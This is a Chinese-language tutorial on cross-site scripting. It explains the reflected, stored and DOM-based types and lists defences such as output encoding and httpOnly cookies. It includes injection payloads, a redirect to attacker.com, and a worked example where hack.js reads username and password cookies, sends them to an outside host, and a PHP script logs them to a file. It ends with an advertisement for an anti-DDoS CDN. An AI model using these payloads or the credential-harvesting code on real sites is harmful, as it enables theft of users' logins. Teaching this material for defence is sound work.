什么是xss攻击
zmztyas 人气:1概述:
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列 表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。
什么是xss攻击
xss攻击全称跨站脚本攻击是一种在web应用中的计算机安全漏洞,它允许web用户将代码植入到提供给其他用户使用的页面中
攻击的条件
实施xss攻击必须具备两个条件
一.需要向web页面注入恶意代码
二.这些恶意代码能够被浏览器成功的执行
xss攻击的几种方式
一.反射型xss,(非持久型)
当某个站点存在xss漏洞时,这种攻击会通过url注入攻击脚本,只有当用户访问这个url时才会执行攻击脚本.
举例案例:
@app.route('/hello1') def hello1(): name = request.args.get('name') response = '<h1>Hello, %s!</h1>' %name
这个视图函数接收用户通过查询字符串(url后面的参数)传入的数据,未做任何处理就把它直接插入到返回的响应主题中,返回给客户端,如果用户输入一段js代码作为查询参数name的值:
http://127.0.0.1:5000/hello4?name=<script>alert('Bingo!')</script>
这时候客户端收到的响应将变成下面的代码
<h1>Hello,<script>alert(‘Gingo!’)</script>!</h1>
当客户端收到响应后,浏览器解析这行代码会打开一个弹窗下图
firefox浏览器(55.0版本)上的响应
在chrome72.0版本上的响应
在IE11上的响应
结论:针对跨站攻击,某些浏览器已经进行了安全防范.
重点说明:这里的案例只是一个简单的弹窗,这里能执行弹窗代码,说明任何js代码都可以被执行,那么getCookie这些代码就可以窃取用户cookie和其他敏感数据,重定向到钓鱼网站,发送其他请求,执行注入转账,发布广告信息,在社交网站关注某个用户等
如果网站A存在XSS漏洞,攻击者将包含攻击代码的链接发送给网站A的用户Foo,当Foo访问这个链接时就会执行攻击代码,从而受到攻击。
二.存储型XSS(持久型)
存储型XSS也被称为持久型XSS(persistent XSS),这种类型的XSS攻击更常见,危害也更大。它和反射型XSS类似,不过会把攻击代码存储到数据库中,任何用户访问包含攻击代码的页面都会被殃及。
比如,某个网站通过表单接收用户的留言,如果服务器接收数据后未经处理就存储到数据库中,那么用户可以在留言中出入任意javaScript代码。比如攻击者在留言中加入一行重定向代码:
<script>window.location.href=”http://attacker.com”;<script>
其他任意用户一旦访问关于这条留言的页面,包含这条留言的数据就会被浏览器解析,就会执行其中的javaScript脚本。那么这个用户所在页面就会被重定向到攻击者写入的站点。
三.DOM-based 型
基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞
即使不插入js代码,通过HTML和XSS注入也可以影响页面正常的输出,篡改页面样式,插入图片等。
如何防御xss攻击
1. 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。
2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。
3. 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。
4. 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。
5. 后端接口也应该要做到关键字符过滤的问题。
案例一:留言板的XSS攻击
我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表
因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入
这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子
利用xss窃取用户名密码
当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
我们看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php
发送了一个get请求
来看一下http://test.com/index.php中的内容
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
这样恶意用户就把访问留言板的用户的信息窃取了
案例二:输入框的XSS攻击
1、如果我直接在用户名这里输入<script>alert("1")</script>,然后输入一个错误的密码,并没有执行script代码,因为返回的html页面是这样的:
说白了就是自己拼接,将input标签进行闭合,然后将script代码缀在后边。
通过用户名的输入,将input拼接成如下,即可实现script代码的执行:
<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>
为什么会执行?
可以将拼接后的input拆分看一下,就很明白了
<input name="userName" class="textcss" id="userName" type="text" value="abc"/>
<script>alert("1")</script>
"/>
因为input已经闭合了,所以script代码会执行,至于拼接后的html文件是有语法错误的问题(因为最后剩下一个"/>,这个html是有错误的,但是不影响页面展示和script代码执行)就可以忽略了。
因此,只需要在用户名那里输入:
abc"/><script>alert("1")</script>
然后输入一个错误的密码,点击登录,就会执行script代码,弹出弹框。
参考网站:
https://blog.csdn.net/qq_41725536/article/details/85722124
https://github.com/yvettelau/step-by-step/issues/18 跨站脚本攻击XSS案例及其解决方案 (推荐)
结语:
如今,各种类型网络攻击日益频繁,除了XSS攻击之外,比较常见的网络攻击类型还包括DDoS攻击、CC攻击等,它们非常难以防御,除了需要做好日常网络安全防护之外,还需要接入高防服务,可以接入天下数据高防cdn,通过天下数据高防cdn隐藏源IP,对攻击流量进行清洗,保障企业网络及业务的正常运行。
加载全部内容